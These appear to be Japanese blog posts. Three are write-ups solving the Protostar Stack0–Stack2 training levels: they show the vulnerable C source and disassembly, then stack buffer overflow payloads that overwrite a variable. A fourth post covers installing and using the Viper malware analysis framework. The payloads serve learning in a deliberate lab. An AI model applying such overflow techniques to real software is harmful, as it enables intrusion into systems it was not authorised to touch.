protostar stack 2 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack2を解いたので,そのwriteupを書いていく

### Stack 2
ソースコードはこんな感じ

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

「you have correctly modified the variable」を出力させてみる.
例のごとくバッファオーバーフロー脆弱性が存在しているのでコレを利用する.

バイナリのmain関数はこんな感じ

$ objdump -d ./stack2 | grep main\>: -A33
08048494 <main>:
 8048494:	55                   	push   ebp
 8048495:	89 e5                	mov    ebp,esp
 8048497:	83 e4 f0             	and    esp,0xfffffff0
 804849a:	83 ec 60             	sub    esp,0x60
 804849d:	c7 04 24 e0 85 04 08 	mov    DWORD PTR [esp],0x80485e0
 80484a4:	e8 d3 fe ff ff       	call   804837c <getenv@plt>
 80484a9:	89 44 24 5c          	mov    DWORD PTR [esp+0x5c],eax
 80484ad:	83 7c 24 5c 00       	cmp    DWORD PTR [esp+0x5c],0x0
 80484b2:	75 14                	jne    80484c8 <main+0x34>
 80484b4:	c7 44 24 04 e8 85 04 	mov    DWORD PTR [esp+0x4],0x80485e8
 80484bb:	08 
 80484bc:	c7 04 24 01 00 00 00 	mov    DWORD PTR [esp],0x1
 80484c3:	e8 f4 fe ff ff       	call   80483bc <errx@plt>
 80484c8:	c7 44 24 58 00 00 00 	mov    DWORD PTR [esp+0x58],0x0
 80484cf:	00 
 80484d0:	8b 44 24 5c          	mov    eax,DWORD PTR [esp+0x5c]
 80484d4:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
 80484d8:	8d 44 24 18          	lea    eax,[esp+0x18]
 80484dc:	89 04 24             	mov    DWORD PTR [esp],eax
 80484df:	e8 b8 fe ff ff       	call   804839c <strcpy@plt>
 80484e4:	8b 44 24 58          	mov    eax,DWORD PTR [esp+0x58]
 80484e8:	3d 0a 0d 0a 0d       	cmp    eax,0xd0a0d0a
 80484ed:	75 0e                	jne    80484fd <main+0x69>
 80484ef:	c7 04 24 18 86 04 08 	mov    DWORD PTR [esp],0x8048618
 80484f6:	e8 d1 fe ff ff       	call   80483cc <puts@plt>
 80484fb:	eb 15                	jmp    8048512 <main+0x7e>
 80484fd:	8b 54 24 58          	mov    edx,DWORD PTR [esp+0x58]
 8048501:	b8 41 86 04 08       	mov    eax,0x8048641
 8048506:	89 54 24 04          	mov    DWORD PTR [esp+0x4],edx
 804850a:	89 04 24             	mov    DWORD PTR [esp],eax
 804850d:	e8 9a fe ff ff       	call   80483ac <printf@plt>
 8048512:	c9                   	leave  
 8048513:	c3                   	ret    

見た感じ[esp+0x58]がmodified, [esp+0x18]がbufferっぽい.
0x58-0x18=0x40, 10進数で64.
つまり64バイト+"0x0d0a0d0a"をbufferに送り込めばいい.
今回気になる所は環境変数を使っている点だ.
getenv関数でGREENIEの値を取得しvariableに入れている.
ということで環境変数GREENIEを用意しそこに値を入れる.

$ export GREENIE=$(python -c 'print "A"*64 + "\x0a\x0d\x0a\x0d"')

そして実行してみる.

$ ./stack2
you have correctly modified the variable

成功した.

Stack2 おわり

protostar stack 1 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack1を解いたので、そのwriteupを書いていく

### Stack 1
ソースコードはこんな感じ

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

動作は以下のとおり.

$ ./stack1 AAAA
Try again, you got 0x00000000

今回も同じように脆弱性を利用し「you have correctly got the variable to the right value」を出力させてみる.

しかし脆弱性自体はStack0と同じもので64バイトより大きな値を入力してmodifiedの値を書き換え本来到達しない分岐へ飛ばすだけである.
分岐の条件を見てみるとmodifiedの値が0x61626364であればいいようだ.
というわけで64バイトより後に"\x61\x62\x63\x64"をくっつければうまくいくだろう, と思うかもしれないがそうはそうは問屋が卸さない.
メモリ空間上では値を『リトルエンディアン』と呼ばれる方式で管理しており, 高位のアドレスに格納されている値が先に認識される.
うまく説明できる気がしないが
0x61626364
という値はリトルエンディアンでは
"\x64\x63\x62\x61"
というように管理している.
つまり64バイトより後ろにただ"\x61\x62\x63\x64"とつけただけでは0x64636261と解釈されてしまう.
そういうわけで今回のは64バイト以降に"\x64\x63\x62\x61"と付けて分岐を突破してみる.

$ ./stack1 $(python -c 'print "A"*64 + "\x61\x62\x62\x64"')
Try again, you got 0x64626261

$ ./stack1 $(python -c 'print "A"*64 + "\x64\x63\x62\x61"')
you have correctly got the variable to the right value

トルエンディアンを意識して入力すると成功する.

Stack1 おわり

protostar stack 0 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack0を解いたので、そのwriteupを書いていく

### Stack 0
ソースコードはこんな感じ

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

動作は以下のとおり.

$ ./stack0
AAAA 
Try again?

ソースコードを見るとchar型の配列であるbufferへ値を入れているが入力値の大きさをチェックしていないためバッファオーバーフロー脆弱性が存在する.
ここではその脆弱性を利用し「you have changed the 'modified' variable」を出力させてみる.
まずはバイナリのmain関数内でどのような処理を行っているか見てみる.

$ objdump -d ./stack0 | grep main\>\: -A19
080483f4 <main>:
 80483f4:	55                   	push   ebp
 80483f5:	89 e5                	mov    ebp,esp
 80483f7:	83 e4 f0             	and    esp,0xfffffff0
 80483fa:	83 ec 60             	sub    esp,0x60
 80483fd:	c7 44 24 5c 00 00 00 	mov    DWORD PTR [esp+0x5c],0x0
 8048404:	00 
 8048405:	8d 44 24 1c          	lea    eax,[esp+0x1c]
 8048409:	89 04 24             	mov    DWORD PTR [esp],eax
 804840c:	e8 fb fe ff ff       	call   804830c <gets@plt>
 8048411:	8b 44 24 5c          	mov    eax,DWORD PTR [esp+0x5c]
 8048415:	85 c0                	test   eax,eax
 8048417:	74 0e                	je     8048427 <main+0x33>
 8048419:	c7 04 24 00 85 04 08 	mov    DWORD PTR [esp],0x8048500
 8048420:	e8 07 ff ff ff       	call   804832c <puts@plt>
 8048425:	eb 0c                	jmp    8048433 <main+0x3f>
 8048427:	c7 04 24 29 85 04 08 	mov    DWORD PTR [esp],0x8048529
 804842e:	e8 f9 fe ff ff       	call   804832c <puts@plt>
 8048433:	c9                   	leave  
 8048434:	c3                   	ret 
 ||<

流れとしてはスタックを確保後, 分岐の条件として使われる[esp+0x5c](modified)に0を代入.
次にesp+0x1c(buffer)に対しgetsで値を入力し[esp+0x5c](modified)の値が0であれば0x8048427に飛んで「Try again?」と出力.
そうでなければ(modifiedの値が書き換わっていれば)「you have changed the 'modified' variable」と出力する.

modifiedとbufferの差は 0x5c-0x1c=0x4c, これを10進数に直すと64バイトである.
このことからバッファオーバーフロー脆弱性を利用しbufferに64バイトよりも大きな値を入れるとmodifiedとされているメモリ領域の値を変えることができると考えられる.

実際に入力してみる.
>|bash|
$ python -c 'print "A"*64' | ./stack0
Try again?

$ python -c 'print "A"*65' | ./stack0
you have changed the 'modified' variable

64バイトよりも大きな値を入力したことでmodifiedの値が0から書き換えられ本来なら到達しない分岐ルートに飛んでいることが確認できる.

Stack0 おわり

Viperを利用したバイナリ解析

概要

今回はバイナリ解析フレームワークのViperについて書いていく

Viperとは

Viper(http://viper.li)とはバイナリ解析フレームワークのこと。
バイナリ解析機能の他に解析したバイナリとその情報を管理する機能を持っている。
主にマルウェアやエクスプロイトの解析を目的に作られており、それらを円滑に行えるよう様々な機能が用意されている。

インストール

環境は以下のとおりである。

$ uname -s -r -p -v
Linux 3.19.0-59-generic #66~14.04.1-Ubuntu SMP Fri May 13 17:27:10 UTC 2016 x86_64

Viperのインストールドキュメントはここ(http://viper-framework.readthedocs.io/en/latest/installation/index.html)にある。
インストールにあたって必要なソフトウェアをあらかじめインストールしておく。

$ sudo apt-get install gcc python-dev python-pip

次にpipを使って必要なものをインストールする。

$ sudo pip install SQLAlchemy PrettyTable python-magic

加えてssdeepとpydeepをインストールする。
ssdeepとはファジーハッシュを利用するためのプログラムである。
ファジーハッシュについては(http://www.ffri.jp/assets/files/monthly_research/MR201403_Consideration_and_evaluation_of_using_fuzzy_hashing_JPN.pdf) (pdf直リンク注意)を参照。
pydeepはpythonからssdeepを利用するためのライブラリである。
ダウンロードリンクは(http://ssdeep.sourceforge.net/#download)
ダウンロードしたディレクトリに移動した後に下記コマンドを入力。

$ tar -zxvf ssdeep-X.XX.tar.gz
$ cd ssdeep-X.XX
$ ./configure && make
$ sudo make install
$ sudo pip install pydeep

次にTorを利用した通信を行うバイナリの解析を行うためにライブラリをインストールする。

$ sudo apt-get install python-socksipy

次にViper本体のインストールに入る。
と言ってもgitからcloneして依存関係を解決するだけである。

$ git clone https://github.com/viper-framework/viper
$ sudo pip install -r requirements.txt

これでインストールは完了だ。

使い方

Viperはプロジェクト単位でバイナリを管理することができる。
プロジェクトは下記コマンドで作ることができる。

$ ./viper-cli -p test

まずは適当なファイルを解析対象としてViperに認識させる。

test viper > open -f ./a.out
[*] Session opened on ./a.out
test viper a.out [not stored] > 

これらのファイルはセッションという形で管理されている。

test viper a.out [not stored] > sessions --list
[*] Opened Sessions:
+---+-------+----------------------------------+---------------------+---------+
| # | Name  | MD5                              | Created At          | Current |
+---+-------+----------------------------------+---------------------+---------+
| 1 | a.out | bdf422ad25a052fb661107bd6f7ff77d | 2016-06-03 20:55:30 | Yes     |
+---+-------+----------------------------------+---------------------+---------+

この状態でstoreコマンドを入力するとセッションで開いているファイルをプロジェクトに登録される。
yaraによるスキャンを自動的にしてくれているようだ。
helpコマンドで見た感じ、プロジェクトやセッションの管理と言った動作の命令はコマンドと呼ばれ、解析はモジュールで行っているようだ。
モジュールで解析とは言ってもモジュール名をコマンドのように入力すればいい。
プロジェクトに登録したら各種モジュールで解析していく。
以降はいくつかのモジュールを紹介する。

  • apkモジュール

Androidのアプリケーションを解析するモジュール。
AndroGuard(https://github.com/androguard/androguard/archive/v2.0.tar.gz) をインストールしないと動かないようだ。

ローカル環境のclamavで解析するモジュール。
'pyclamd'をpipでインストールしないと動かないようだ。

  • cuckooモジュール

cuckooサンドボックスと連携するモジュール。

  • elfモジュール

elfファイルを解析するモジュール。
セクション情報やシンボル情報といった要素を調べられる。
エントロピー欄が何を表しているかはわからなかった。

  • r2モジュール

radare2と連携するモジュール。
便利そう。

  • shellcodeモジュール

シェルコードを抜き出すモジュールらしい。
動作未検証

これらの他にもpeファイルやjarファイル、画像ファイルやofficeドキュメントを解析するモジュールがある。
IDA proやradare2といったツールやvirustotalといったサービスと連携するモジュールも用意されており解析の基盤として使えるかもしれない。
あとから自分でモジュールを作って追加できることも強みだろう。

webインターフェース

Viperはwebインターフェースから利用することもできる。
利用するには下記コマンドを入力する。

$ ./viper-web 
Bottle v0.12.9 server starting up (using WSGIRefServer())...
Listening on http://localhost:9090/
Hit Ctrl-C to quit.

アクセスするとこのような画面になっており操作できる。

他にもAPIサーバとして使えるとかフレームワークとして使う方法とかあるが今回はここまで

今度ファイルを解析するときに使ってみたいと思う。